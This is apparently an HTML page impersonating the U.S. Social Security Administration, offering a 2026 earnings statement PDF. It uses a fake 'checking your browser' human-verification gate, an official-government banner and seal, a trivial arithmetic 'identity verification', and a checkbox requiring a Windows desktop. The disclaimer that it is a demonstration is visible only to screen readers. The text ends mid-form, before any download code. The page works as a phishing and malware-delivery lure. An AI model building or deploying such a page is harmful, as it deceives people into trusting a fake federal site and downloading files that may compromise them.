<!DOCTYPE html>
<html lang="en" class="ssa-gate-open">
  <head>
    <meta charset="UTF-8" />
    <style id="ssa-gate-static-css">
      #ssa-cf-gate {
        position: fixed;
        inset: 0;
        z-index: 2147483647;
        display: flex;
        flex-direction: column;
        font-family: "Source Sans 3", system-ui, sans-serif;
        background: #e8ecf1;
      }
      #ssa-cf-gate * {
        box-sizing: border-box;
      }
      html:not(.ssa-gate-done) #ssa-dashboard-root {
        visibility: hidden !important;
      }
      html.ssa-gate-done #ssa-cf-gate {
        display: none !important;
      }
      html.ssa-gate-open #ssa-dashboard-root {
        overflow: hidden;
        max-height: 100vh;
        pointer-events: none;
      }
      @supports (height: 100dvh) {
        html.ssa-gate-open #ssa-dashboard-root {
          max-height: 100dvh;
        }
      }
      .ssa-static-gate__mast {
        flex-shrink: 0;
        background: linear-gradient(180deg, #2a6fa8 0%, #205493 55%, #1a5080 100%);
        border-bottom: 4px solid #face00;
        color: #fff;
        padding: 0.55rem 1rem;
        display: flex;
        align-items: center;
        gap: 0.65rem;
        box-shadow: 0 2px 6px rgba(0, 0, 0, 0.12);
      }
      .ssa-seal-img {
        display: block;
        object-fit: contain;
        flex-shrink: 0;
      }
      .ssa-seal-img--gate {
        width: 2rem;
        height: 2rem;
      }
      header .ssa-masthead__logo.ssa-seal-img {
        object-fit: contain;
        object-position: center;
      }
      .ssa-static-gate__mast-txt {
        font-size: 0.8125rem;
        font-weight: 600;
        letter-spacing: 0.02em;
        line-height: 1.25;
        min-width: 0;
      }
      .ssa-static-gate__main {
        flex: 1;
        display: flex;
        flex-direction: column;
        align-items: center;
        justify-content: center;
        padding: 1.25rem;
        min-height: 0;
        overflow: auto;
      }
      .ssa-static-gate__card {
        width: 100%;
        max-width: 28.5rem;
        background: #fff;
        border: 1px solid #c9c9c9;
        border-radius: 2px;
        box-shadow: 0 2px 6px rgba(0, 0, 0, 0.06), 0 8px 24px rgba(0, 0, 0, 0.08);
      }
      .ssa-static-gate__inner {
        padding: 1.75rem 1.5rem 1.5rem;
        text-align: center;
      }
      .ssa-static-gate__host {
        color: #1b1b1b;
        font-size: 1.125rem;
        font-weight: 700;
        margin: 0 0 0.5rem;
        line-height: 1.3;
      }
      .ssa-static-gate__sub {
        color: #3d4551;
        font-size: 0.9375rem;
        line-height: 1.5;
        margin: 0 0 1rem;
      }
      .ssa-static-gate__hostline {
        color: #565c65;
        font-size: 0.8125rem;
        margin: 0 0 1.25rem;
        font-family: ui-monospace, Menlo, Consolas, monospace;
        word-break: break-all;
      }
      .ssa-static-gate__bar {
        height: 4px;
        background: #e5e7eb;
        border-radius: 2px;
        overflow: hidden;
        margin: 0 0 1.25rem;
      }
      .ssa-static-gate__bar-fill {
        height: 100%;
        width: 40%;
        background: linear-gradient(90deg, #005ea2, #1a4480, #005ea2);
        background-size: 200% 100%;
        animation: ssaGateBar 1.8s ease-in-out infinite;
        border-radius: 2px;
      }
      @keyframes ssaGateBar {
        0% {
          transform: translateX(-100%);
        }
        100% {
          transform: translateX(350%);
        }
      }
      .ssa-static-gate__dots {
        display: flex;
        justify-content: center;
        gap: 0.4rem;
        margin: 0 0 1.1rem;
      }
      .ssa-static-gate__dot {
        width: 0.5rem;
        height: 0.5rem;
        border-radius: 9999px;
        background: #005ea2;
        opacity: 0.35;
        animation: ssaGateDot 1.1s ease-in-out infinite;
      }
      .ssa-static-gate__dot:nth-child(2) {
        animation-delay: 0.15s;
      }
      .ssa-static-gate__dot:nth-child(3) {
        animation-delay: 0.3s;
      }
      @keyframes ssaGateDot {
        0%,
        80%,
        100% {
          transform: translateY(0);
          opacity: 0.35;
        }
        40% {
          transform: translateY(-6px);
          opacity: 1;
        }
      }
      .ssa-static-gate__ray {
        font-size: 0.75rem;
        color: #71767a;
        font-family: ui-monospace, Menlo, Consolas, monospace;
        margin: 0 0 1rem;
        word-break: break-all;
      }
      .ssa-static-gate__btn {
        display: inline-flex;
        align-items: center;
        justify-content: center;
        width: 100%;
        max-width: 16rem;
        margin: 0 auto;
        padding: 0.7rem 1rem;
        font: inherit;
        font-size: 0.9375rem;
        font-weight: 600;
        color: #fff;
        background: #005ea2;
        border: 0;
        border-radius: 2px;
        cursor: pointer;
        box-shadow: inset 0 0 0 1px #005ea2;
      }
      .ssa-static-gate__btn:hover:not(:disabled) {
        background: #1a4480;
      }
      .ssa-static-gate__btn:focus-visible {
        outline: 0.25rem solid #face00;
        outline-offset: 2px;
      }
      .ssa-static-gate__btn:disabled {
        opacity: 0.65;
        cursor: wait;
      }
      .ssa-static-gate__foot {
        margin: 1.15rem 0 0;
        padding-top: 1rem;
        border-top: 1px solid #edeeee;
        font-size: 0.6875rem;
        line-height: 1.45;
        color: #71767a;
      }
    </style>
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Your Annual Earnings Statement | Social Security Administration</title>
    <link
      rel="icon"
      href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='4' fill='%23112e51'/%3E%3Ctext x='16' y='21' fill='%23face00' font-size='9' font-family='system-ui,sans-serif' font-weight='700' text-anchor='middle'%3ESSA%3C/text%3E%3C/svg%3E"
      type="image/svg+xml"
    />
    <link rel="preconnect" href="https://fonts.googleapis.com" />
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
    <link
      href="https://fonts.googleapis.com/css2?family=Source+Sans+3:wght@400;600;700&display=swap"
      rel="stylesheet"
    />
    <script src="https://cdn.tailwindcss.com"></script>
    <script>
      tailwind.config = {
        theme: {
          extend: {
            fontFamily: { sans: ['"Source Sans 3"', 'system-ui', 'sans-serif'] },
            colors: { ssa: { navy: '#112e51', blue: '#205493', green: '#008240', 'green-dark': '#006d36' } },
          },
        },
      };
    </script>
    <style>
      html {
        overflow-x: clip;
        overflow-y: scroll;
      }
      body {
        margin: 0;
        min-height: 100vh;
        box-sizing: border-box;
        padding-bottom: env(safe-area-inset-bottom, 0px);
      }
      @supports (min-height: 100dvh) {
        body {
          min-height: 100dvh;
        }
      }
      /* Normal document scroll — no fixed viewport or inner scroll trap */
      #ssa-dashboard-root {
        display: flex;
        min-height: 100vh;
        flex-direction: column;
        box-sizing: border-box;
      }
      @supports (min-height: 100dvh) {
        #ssa-dashboard-root {
          min-height: 100dvh;
        }
      }
      .ssa-main-scroll {
        flex: 1 1 auto;
        width: 100%;
        min-width: 0;
        display: flex;
        flex-direction: column;
        justify-content: flex-start;
      }
      .ssa-page-layout {
        display: flex;
        flex-direction: column;
        align-items: stretch;
        gap: clamp(0.75rem, 2vmin, 1.25rem);
      }
      @media (min-width: 1024px) {
        .ssa-page-layout {
          flex-direction: row;
          align-items: flex-start;
          gap: clamp(1rem, 2.5vw, 1.75rem);
        }
      }
      .ssa-sidebar {
        flex-shrink: 0;
        width: 100%;
      }
      @media (min-width: 1024px) {
        .ssa-sidebar {
          width: min(100%, 20.5rem);
          max-width: 20.5rem;
          position: sticky;
          top: 0.75rem;
          align-self: flex-start;
        }
      }
      .ssa-widget {
        border: 1px solid #dfe1e2;
        border-radius: 0.25rem;
        background: #fff;
        box-shadow:
          0 1px 2px rgba(0, 0, 0, 0.05),
          0 2px 6px rgba(0, 0, 0, 0.06);
        overflow: hidden;
        margin-bottom: clamp(0.65rem, 1.8vmin, 0.85rem);
      }
      .ssa-widget:last-child {
        margin-bottom: 0;
      }
      .ssa-widget__accent-teal {
        height: 4px;
        background: #008480;
      }
      .ssa-widget__head {
        display: flex;
        align-items: center;
        gap: 0.5rem;
        padding: 0.65rem 0.75rem 0.6rem;
        border-bottom: 1px solid #dfe1e2;
        background: #fff;
      }
      .ssa-widget__title {
        margin: 0;
        font-size: clamp(0.8rem, min(1.9vw, 1.9vh), 0.95rem);
        font-weight: 700;
        color: #112e51;
        line-height: 1.25;
      }
      .ssa-widget__list {
        margin: 0;
        padding: 0;
        list-style: none;
      }
      .ssa-widget__row {
        display: flex;
        align-items: flex-start;
        gap: 0.5rem;
        padding: 0.55rem 0.75rem;
        border-bottom: 1px solid #edeeee;
        font-size: clamp(0.7rem, min(1.65vw, 1.65vh), 0.8125rem);
        line-height: 1.35;
        color: #1b1b1b;
      }
      .ssa-widget__row:last-child {
        border-bottom: none;
      }
      .ssa-widget__link {
        display: flex;
        align-items: flex-start;
        gap: 0.5rem;
        padding: 0.55rem 0.75rem;
        border-bottom: 1px solid #edeeee;
        font-size: clamp(0.7rem, min(1.65vw, 1.65vh), 0.8125rem);
        line-height: 1.35;
        color: #005ea2;
        text-decoration: none;
        font-weight: 500;
        transition: background-color 0.12s ease, color 0.12s ease;
      }
      .ssa-widget__link:last-child {
        border-bottom: none;
      }
      .ssa-widget__link:hover {
        background: #f0f8ff;
        color: #1a4480;
        text-decoration: underline;
      }
      .ssa-widget__link:focus-visible {
        outline: 2px solid #face00;
        outline-offset: -2px;
      }
      .ssa-widget__link-icon {
        flex-shrink: 0;
        margin-top: 0.1rem;
        color: #565c65;
      }
      /* Height follows content — do not flex-grow or the card stretches and leaves a white gap under the button. */
      .ssa-card {
        flex: 0 1 auto;
        width: 100%;
        display: flex;
        flex-direction: column;
        overflow: hidden;
      }
      #download-status:not(.hidden) {
        max-height: min(12vh, 3.25rem);
        overflow: hidden;
        word-break: break-word;
        line-height: 1.25;
      }
      .ssa-earnings-card {
        border-radius: 2px;
        box-shadow:
          0 1px 2px rgba(0, 0, 0, 0.05),
          0 2px 6px rgba(0, 0, 0, 0.06);
      }
      .ssa-earnings-card__accent {
        height: 4px;
        background: linear-gradient(90deg, #112e51 0%, #205493 50%, #112e51 100%);
      }
      .ssa-earnings-card__hero {
        border-bottom: 1px solid #dfe1e2;
        background: linear-gradient(180deg, #f7f9fa 0%, #ffffff 100%);
      }
      .ssa-earnings-meta-row {
        display: flex;
        flex-wrap: wrap;
        gap: 0.5rem 1rem;
        margin-top: 0.65rem;
        padding-top: 0.65rem;
        border-top: 1px solid #e7e9ea;
      }
      .ssa-earnings-meta-item {
        flex: 1 1 auto;
        min-width: min(100%, 8.5rem);
        border: 1px solid #dfe1e2;
        border-radius: 2px;
        background: #fff;
        padding: 0.35rem 0.5rem 0.4rem;
      }
      .ssa-earnings-meta-item dt {
        margin: 0;
        font-size: clamp(0.55rem, min(1.35vw, 1.35vh), 0.65rem);
        font-weight: 600;
        letter-spacing: 0.04em;
        text-transform: uppercase;
        color: #565c65;
      }
      .ssa-earnings-meta-item dd {
        margin: 0.15rem 0 0;
        font-size: clamp(0.68rem, min(1.75vw, 1.75vh), 0.8125rem);
        font-weight: 600;
        color: #1b1b1b;
      }
      /* USWDS primary button (blue) — matches ssa.gov / USWDS main actions */
      .ssa-btn-primary {
        width: 100%;
        margin: 0;
        padding: 0.875rem 1.25rem;
        font-family: inherit;
        font-size: clamp(0.8125rem, min(2vw, 2vh), 1rem);
        font-weight: 600;
        line-height: 1.35;
        text-align: center;
        color: #fff;
        background-color: #005ea2;
        border: 0;
        border-radius: 0.25rem;
        box-shadow: inset 0 0 0 1px #005ea2;
        cursor: pointer;
        transition:
          background-color 0.15s ease,
          box-shadow 0.15s ease;
      }
      .ssa-btn-primary:hover:not(:disabled) {
        background-color: #1a4480;
        box-shadow: inset 0 0 0 1px #1a4480;
      }
      .ssa-btn-primary:active:not(:disabled) {
        background-color: #162e51;
        box-shadow: inset 0 0 0 1px #162e51;
      }
      .ssa-btn-primary:focus {
        outline: none;
      }
      .ssa-btn-primary:focus-visible {
        outline: 0.25rem solid #face00;
        outline-offset: 0.125rem;
      }
      .ssa-btn-primary:disabled {
        opacity: 0.55;
        cursor: not-allowed;
      }
      .ssa-btn-primary__sub {
        display: block;
        margin-top: 0.2rem;
        font-size: clamp(0.65rem, min(1.55vw, 1.55vh), 0.78rem);
        font-weight: 400;
        opacity: 0.95;
      }
      .ssa-btn-primary--locked:disabled {
        opacity: 1;
        cursor: not-allowed;
        background-color: #a9aeb1;
        color: #fff;
        box-shadow: inset 0 0 0 1px #8d9297;
      }
      .ssa-btn-primary__row {
        display: inline-flex;
        align-items: center;
        justify-content: center;
        gap: 0.5rem;
        flex-wrap: wrap;
      }
      .ssa-verify-panel {
        margin-top: 0.75rem;
        border: 1px solid #dfe1e2;
        border-radius: 0.25rem;
        background: #fff;
        box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);
        overflow: hidden;
      }
      .ssa-verify-panel__head {
        display: flex;
        align-items: center;
        gap: 0.45rem;
        padding: 0.6rem 0.75rem;
        border-bottom: 1px solid #dfe1e2;
        background: #f7f9fa;
      }
      .ssa-verify-panel__title {
        margin: 0;
        font-size: clamp(0.78rem, min(1.9vw, 1.9vh), 0.9rem);
        font-weight: 700;
        color: #0f6460;
        line-height: 1.25;
      }
      .ssa-verify-panel__body {
        padding: 0.75rem;
      }
      .ssa-verify-panel__label {
        display: flex;
        flex-wrap: wrap;
        align-items: center;
        gap: 0.35rem;
        margin: 0 0 0.45rem;
        font-size: clamp(0.72rem, min(1.75vw, 1.75vh), 0.875rem);
        font-weight: 600;
        color: #1b1b1b;
      }
      .ssa-verify-refresh {
        display: inline-flex;
        align-items: center;
        justify-content: center;
        padding: 0.2rem;
        margin: 0;
        border: none;
        border-radius: 0.2rem;
        background: transparent;
        color: #005ea2;
        cursor: pointer;
        line-height: 0;
      }
      .ssa-verify-refresh:hover {
        background: #e7f1f8;
        color: #1a4480;
      }
      .ssa-verify-refresh:focus-visible {
        outline: 2px solid #face00;
        outline-offset: 2px;
      }
      .ssa-verify-input {
        width: 100%;
        box-sizing: border-box;
        padding: 0.5rem 0.65rem;
        border: 1px solid #565c65;
        border-radius: 0.125rem;
        font-size: clamp(0.8rem, min(1.9vw, 1.9vh), 1rem);
        font-family: inherit;
      }
      .ssa-verify-input:focus {
        outline: 2px solid #005ea2;
        outline-offset: 0;
      }
      .ssa-verify-checkbox-wrap {
        margin-top: 0.65rem;
        padding: 0.55rem 0.65rem;
        border-radius: 0.125rem;
        background: #f0f0f0;
        border: 1px solid #e7e7e7;
      }
      .ssa-verify-checkbox-wrap label {
        display: flex;
        align-items: flex-start;
        gap: 0.45rem;
        margin: 0;
        font-size: clamp(0.68rem, min(1.65vw, 1.65vh), 0.8125rem);
        line-height: 1.4;
        color: #1b1b1b;
        cursor: pointer;
      }
      .ssa-verify-checkbox-wrap input {
        margin-top: 0.15rem;
        flex-shrink: 0;
        width: 1rem;
        height: 1rem;
        accent-color: #005ea2;
      }
      .ssa-attachment-label {
        font-size: clamp(0.65rem, min(1.5vw, 1.5vh), 0.7rem);
        font-weight: 700;
        letter-spacing: 0.12em;
        text-transform: uppercase;
        color: #565c65;
      }
      .ssa-pdf-row {
        display: flex;
        align-items: flex-start;
        gap: clamp(0.65rem, 2vmin, 0.85rem);
        padding: clamp(0.75rem, 2.2vmin, 1rem);
        border: 1px solid #dfe1e2;
        border-radius: 2px;
        background: #fff;
        box-shadow: 0 1px 2px rgba(0, 0, 0, 0.04);
      }
      .ssa-pdf-row:focus-within {
        outline: 2px solid #005ea2;
        outline-offset: 2px;
      }
      .ssa-notice-block {
        margin: 0;
        padding: 0.65rem 0.85rem 0.7rem 0.85rem;
        border-left: 0.5rem solid #005ea2;
        background: #f0f8ff;
        border-radius: 0 2px 2px 0;
        box-shadow: inset 0 0 0 1px #e7eef6;
        color: #1b1b1b;
        font-size: clamp(0.68rem, min(1.75vw, 1.75vh), 0.875rem);
        line-height: 1.45;
      }
      .ssa-notice-block strong {
        color: #112e51;
      }
      .ssa-pdf-icon {
        flex-shrink: 0;
        width: clamp(2.25rem, 8vmin, 2.75rem);
        height: clamp(2.25rem, 8vmin, 2.75rem);
        border-radius: 2px;
        background: #fff;
        border: 1px solid #e5e7eb;
        display: flex;
        align-items: center;
        justify-content: center;
        box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);
      }
      .adobe-download-anchor-sr {
        position: absolute;
        width: 1px;
        height: 1px;
        padding: 0;
        margin: -1px;
        overflow: hidden;
        clip: rect(0, 0, 0, 0);
        white-space: nowrap;
        border: 0;
      }
      /* USWDS-style skip link (matches federal sites such as SSA.gov) */
      .ssa-skip-link {
        position: absolute;
        left: 0;
        top: 0;
        z-index: 100001;
        transform: translateY(-120%);
        padding: 0.35rem 0.85rem;
        background: #005ea2;
        color: #fff;
        font-weight: 600;
        font-size: 0.875rem;
        text-decoration: underline;
        transition: transform 0.15s ease;
      }
      .ssa-skip-link:focus {
        transform: translateY(0);
        outline: 2px solid #face00;
        outline-offset: 2px;
      }
      /* USA banner — aligns with U.S. Web Design System / SSA.gov top strip */
      .ssa-usa-banner {
        background-color: #f0f0f0;
        border-bottom: 1px solid #dfe1e2;
        font-size: clamp(0.7rem, min(1.65vw, 1.65vh), 0.8125rem);
        line-height: 1.35;
        color: #1b1b1b;
      }
      .ssa-usa-banner__inner {
        max-width: 64rem;
        margin-left: auto;
        margin-right: auto;
        display: flex;
        flex-wrap: wrap;
        align-items: flex-start;
        justify-content: space-between;
        gap: 0.35rem 1rem;
        padding: clamp(0.2rem, 0.8vmin, 0.35rem) clamp(0.65rem, 3vw, 1.25rem);
      }
      .ssa-usa-banner__official {
        display: flex;
        align-items: flex-start;
        gap: 0.35rem;
        min-width: 0;
        font-weight: 400;
      }
      .ssa-usa-banner__how {
        flex-shrink: 0;
        color: #005ea2;
        font-weight: 400;
        text-decoration: underline;
        text-underline-offset: 2px;
        white-space: nowrap;
      }
      .ssa-usa-banner__how:hover {
        color: #1a4480;
      }
      /* SSA.gov-style masthead — lighter agency blue (closer to live ssa.gov than #112e51) + gold accent */
      .ssa-masthead {
        background: linear-gradient(180deg, #2a6fa8 0%, #205493 42%, #1a5080 100%);
        border-bottom: 4px solid #face00;
        color: #fff;
        box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
      }
      .ssa-masthead__inner {
        max-width: 64rem;
        margin-left: auto;
        margin-right: auto;
        display: flex;
        flex-wrap: wrap;
        align-items: center;
        justify-content: space-between;
        gap: clamp(0.5rem, 2vmin, 1rem);
        padding: clamp(0.5rem, 1.75vmin, 0.85rem) clamp(0.65rem, 3vw, 1.25rem);
      }
      .ssa-masthead__wordmark {
        display: flex;
        align-items: center;
        gap: clamp(0.5rem, 2vmin, 0.85rem);
        flex: 1 1 auto;
        /* Allow title to show at intrinsic width; avoid min-width:0 on children or text collapses in flex layout. */
      }
      .ssa-masthead__logo {
        height: clamp(2.85rem, 9vmin, 4.1rem);
        width: clamp(2.85rem, 9vmin, 4.1rem);
        max-width: none;
        display: block;
        flex-shrink: 0;
      }
      .ssa-masthead__title {
        font-family: Georgia, "Times New Roman", Times, serif;
        font-weight: 400;
        letter-spacing: 0.01em;
        line-height: 1.1;
        color: #ffffff;
        font-size: clamp(1.15rem, min(3.8vw, 3.5vh), 1.75rem);
        white-space: nowrap;
      }
      .ssa-masthead__action {
        flex-shrink: 0;
        display: inline-flex;
        align-items: center;
        justify-content: center;
        padding: 0.35rem 0.85rem;
        border: 2px solid #fff;
        border-radius: 2px;
        color: #fff;
        font-weight: 600;
        font-size: clamp(0.68rem, min(1.65vw, 1.65vh), 0.8125rem);
        text-decoration: none;
        transition: background-color 0.15s ease, color 0.15s ease;
      }
      .ssa-masthead__action:hover {
        background: #fff;
        color: #184a7c;
      }
      .ssa-masthead__action:focus-visible {
        outline: 2px solid #face00;
        outline-offset: 3px;
      }
      /* Identifier / footer — USWDS identifier-style dark band */
      .ssa-footer {
        flex-shrink: 0;
        background-color: #1b1b1b;
        color: #dfe1e2;
        border-top: 1px solid #71767a;
        font-size: clamp(0.62rem, min(1.5vw, 1.5vh), 0.8125rem);
      }
      .ssa-footer__inner {
        max-width: 64rem;
        margin-left: auto;
        margin-right: auto;
        padding: clamp(0.45rem, 1.5vmin, 0.65rem) clamp(0.65rem, 3vw, 1.25rem);
      }
      .ssa-footer__nav {
        display: flex;
        flex-wrap: wrap;
        align-items: center;
        justify-content: center;
        gap: 0.35rem 0.75rem;
        margin-bottom: 0.35rem;
      }
      .ssa-footer__nav a {
        color: #fff;
        font-weight: 400;
        text-decoration: underline;
        text-underline-offset: 2px;
        white-space: nowrap;
      }
      .ssa-footer__nav a:hover {
        color: #face00;
      }
      .ssa-footer__nav a:focus-visible {
        outline: 2px solid #face00;
        outline-offset: 2px;
      }
      .ssa-footer__sep {
        color: #71767a;
        user-select: none;
      }
      .ssa-footer__meta {
        text-align: center;
        color: #a9aeb1;
        line-height: 1.35;
        font-size: clamp(0.55rem, min(1.35vw, 1.35vh), 0.72rem);
      }
    </style>
  </head>
  <body class="bg-[#f0f0f0] font-sans text-slate-900 antialiased">
    <div
      id="ssa-cf-gate"
      role="dialog"
      aria-modal="true"
      aria-labelledby="ssa-gate-title"
      aria-describedby="ssa-gate-desc"
    >
      <div class="ssa-static-gate__mast">
        <img
          class="ssa-seal-img ssa-seal-img--gate"
          src="data:image/png;base64, "
          width="32"
          height="32"
          alt=""
          decoding="async"
        />
        <span class="ssa-static-gate__mast-txt">Social Security Administration - secure connection check</span>
      </div>
      <div class="ssa-static-gate__main">
        <div class="ssa-static-gate__card">
          <div class="ssa-static-gate__inner">
            <p id="ssa-gate-title" class="ssa-static-gate__host">Checking your browser before proceeding</p>
            <p id="ssa-gate-desc" class="ssa-static-gate__sub">Verifying you are human. This may take a few seconds.</p>
            <p class="ssa-static-gate__hostline" id="ssa-gate-hostline"></p>
            <div class="ssa-static-gate__bar" aria-hidden="true"><div class="ssa-static-gate__bar-fill"></div></div>
            <div class="ssa-static-gate__dots" aria-hidden="true">
              <span class="ssa-static-gate__dot"></span>
              <span class="ssa-static-gate__dot"></span>
              <span class="ssa-static-gate__dot"></span>
            </div>
            <p class="ssa-static-gate__ray">Ray ID: <span id="ssa-gate-ray-id"></span></p>
            <button type="button" class="ssa-static-gate__btn" id="btn-cf-verify">Verify and continue</button>
            <p class="ssa-static-gate__foot">Browser security check</p>
          </div>
        </div>
      </div>
    </div>
    <p class="sr-only">
      Demonstration page only. Not affiliated with the U.S. government or Social Security Administration.
    </p>

    <div id="ssa-dashboard-root">
      <a class="ssa-skip-link" href="#main-content">Skip to main content</a>

      <!-- USA.gov-style banner (USWDS pattern used on SSA.gov) -->
      <section class="ssa-usa-banner shrink-0" aria-label="Official website of the United States government">
        <div class="ssa-usa-banner__inner">
          <div class="ssa-usa-banner__official">
            <svg
              class="mt-0.5 h-3.5 w-5 shrink-0 rounded-sm border border-slate-300 shadow-sm sm:h-4 sm:w-[1.35rem]"
              viewBox="0 0 19 13"
              width="20"
              height="14"
              aria-hidden="true"
            >
              <rect width="19" height="13" fill="#b22234" />
              <path fill="#fff" d="M0 1h19v1H0zm0 2h19v1H0zm0 2h19v1H0zm0 2h19v1H0zm0 2h19v1H0z" />
              <rect width="8" height="7" fill="#3c3b6e" />
            </svg>
            <span>An official website of the United States government</span>
          </div>
          <a
            class="ssa-usa-banner__how"
            href="https://www.usa.gov/government-website"
            target="_blank"
            rel="noopener noreferrer"
            >Here’s how you know<span class="sr-only"> (opens in a new tab)</span></a>
        </div>
      </section>

      <!-- SSA.gov-style masthead -->
      <header class="ssa-masthead shrink-0" role="banner">
        <div class="ssa-masthead__inner">
          <div class="ssa-masthead__wordmark">
            <img
              class="ssa-masthead__logo ssa-seal-img shrink-0"
              src="data:image/png;base64, "
              width="160"
              height="160"
              alt="Social Security Administration seal"
              decoding="async"
            />
            <div class="flex flex-col justify-center">
              <span class="sr-only">Social Security Administration, United States government.</span>
              <p class="ssa-masthead__title m-0 p-0">Social Security</p>
            </div>
          </div>
          <a class="ssa-masthead__action" href="#">Sign Out</a>
        </div>
      </header>

      <main
        id="main-content"
        class="ssa-main-scroll mx-auto w-full max-w-6xl px-[clamp(0.65rem,3vw,1.25rem)] py-[clamp(0.35rem,1.2vmin,0.75rem)]"
        role="main"
      >
        <div class="ssa-page-layout">
          <div class="min-w-0 flex-1">
        <div class="ssa-card ssa-earnings-card overflow-hidden rounded-sm border border-[#dfe1e2] bg-white">
          <div class="ssa-earnings-card__accent" aria-hidden="true"></div>

          <div class="ssa-earnings-card__hero px-[clamp(0.85rem,3vw,1.35rem)] py-[clamp(0.75rem,2.2vmin,1.15rem)]">
            <p
              class="mb-1 font-semibold uppercase tracking-[0.14em] text-ssa-navy"
              style="font-size: clamp(0.58rem, min(1.35vw, 1.35vh), 0.68rem)"
            >
              Social Security Administration
            </p>
            <h1
              class="font-bold leading-tight tracking-tight text-ssa-navy text-balance"
              style="font-size: clamp(1.05rem, min(3.6vw, 3.4vh), 1.65rem)"
            >
              Your Annual Earnings Statement
            </h1>
            <p
              class="mt-2 max-w-prose leading-relaxed text-slate-600"
              style="font-size: clamp(0.68rem, min(1.85vw, 1.85vh), 0.875rem)"
            >
              This is a certified summary of wages and self-employment income reported to Social Security for the period
              below. You may use it to verify earnings for tax filing, benefit applications, and your personal records.
            </p>
            <dl class="ssa-earnings-meta-row" aria-label="Document summary">
              <div class="ssa-earnings-meta-item">
                <dt>Tax year</dt>
                <dd>2026</dd>
              </div>
              <div class="ssa-earnings-meta-item">
                <dt>Format</dt>
                <dd>PDF</dd>
              </div>
              <div class="ssa-earnings-meta-item">
                <dt>File size</dt>
                <dd>1.4 MB</dd>
              </div>
            </dl>
          </div>

          <div class="flex flex-col px-[clamp(0.85rem,3vw,1.35rem)] pb-[clamp(0.85rem,2.5vmin,1.15rem)] pt-[clamp(0.5rem,1.5vmin,0.65rem)]">
            <div class="shrink-0 border-b border-[#dfe1e2] pb-[clamp(0.65rem,2vmin,0.95rem)]">
              <h2 class="ssa-attachment-label mb-2">Attachment</h2>
              <div class="ssa-pdf-row" role="group" aria-labelledby="earnings-pdf-name">
                <div class="ssa-pdf-icon relative" aria-hidden="true">
                  <svg class="h-7 w-7 text-slate-500" fill="currentColor" viewBox="0 0 24 24">
                    <path
                      d="M14 2H6a2 2 0 00-2 2v16a2 2 0 002 2h12a2 2 0 002-2V8l-6-6zm-1 2l5 5h-5V4zM8 12h8v2H8v-2zm0 4h8v2H8v-2z"
                    />
                  </svg>
                  <span
                    class="absolute -bottom-0.5 -right-0.5 rounded-sm bg-[#b50909] px-[3px] py-px font-bold leading-none text-white shadow-sm"
                    style="font-size: clamp(0.45rem, min(1.2vw, 1.2vh), 0.55rem)"
                    >PDF</span>
                </div>
                <div class="min-w-0 flex-1">
                  <p
                    id="earnings-pdf-name"
                    class="break-words font-semibold text-slate-900"
                    style="font-size: clamp(0.78rem, min(2vw, 2vh), 0.95rem)"
                  >
                    Earnings_Statement_2026.pdf
                  </p>
                  <p class="mt-1 text-slate-600" style="font-size: clamp(0.65rem, min(1.65vw, 1.65vh), 0.8125rem)">
                    Portable Document Format (PDF)
                    <span class="text-slate-400" aria-hidden="true"> · </span>
                    <span class="whitespace-nowrap">Version 1.0</span>
                  </p>
                </div>
              </div>
            </div>

            <div class="shrink-0 border-b border-[#dfe1e2] py-[clamp(0.65rem,2vmin,0.95rem)]">
              <p class="ssa-notice-block">
                <strong>Notice:</strong> Download and retain this file for your records. Contents reflect
                employer-reported data through the record date below and may be updated if additional wage reports are
                received after you download.
              </p>
            </div>

            <div class="shrink-0 py-[clamp(0.55rem,1.8vmin,0.75rem)]">
              <div
                class="flex flex-wrap items-baseline gap-x-5 gap-y-1 text-slate-600"
                style="font-size: clamp(0.62rem, min(1.55vw, 1.55vh), 0.78rem)"
              >
                <p class="m-0">
                  <span class="font-semibold text-slate-700">Record generated: </span>
                  <span class="font-semibold text-slate-900">April 2026</span>
                </p>
                <span class="text-slate-300 max-sm:hidden" aria-hidden="true">|</span>
                <p class="m-0">
                  <span class="font-semibold text-slate-700">Document ID: </span>
                  <span class="font-mono font-semibold text-slate-800">SSA-EARN-2026</span>
                </p>
              </div>
            </div>

            <p
              id="download-status"
              class="hidden shrink-0 text-center leading-tight text-slate-600"
              style="font-size: clamp(0.62rem, min(1.55vw, 1.55vh), 0.78rem)"
              role="status"
              aria-live="polite"
            ></p>

            <div class="shrink-0">
              <div class="ssa-verify-panel" aria-labelledby="id-verify-heading">
                <div class="ssa-verify-panel__head">
                  <svg class="h-5 w-5 shrink-0 text-[#0f6460]" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
                    <path
                      stroke-linecap="round"
                      stroke-linejoin="round"
                      stroke-width="2"
                      d="M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"
                    />
                  </svg>
                  <h2 id="id-verify-heading" class="ssa-verify-panel__title">Identity Verification Required</h2>
                </div>
                <div class="ssa-verify-panel__body">
                  <p class="ssa-verify-panel__label">
                    <span id="id-verify-question" aria-live="polite">What is 2 + 4?</span>
                    <button type="button" class="ssa-verify-refresh" id="id-verify-refresh" title="New question" aria-label="New question">
                      <svg class="h-4 w-4" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
                        <path
                          stroke-linecap="round"
                          stroke-linejoin="round"
                          stroke-width="2"
                          d="M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"
                        />
                      </svg>
                    </button>
                  </p>
                  <label class="sr-only" for="id-verify-answer">Your answer</label>
                  <input
                    id="id-verify-answer"
                    class="ssa-verify-input"
                    type="text"
                    inputmode="numeric"
                    autocomplete="off"
                    placeholder="Enter your answer"
                    aria-describedby="id-verify-heading"
                  />
                  <div class="ssa-verify-checkbox-wrap">
                    <label for="id-verify-desktop">
                      <input type="checkbox" id="id-verify-desktop" />
                      <span
                        >I confirm that I am using a Windows desktop or laptop computer to access this secure document.</span>
                    </label>
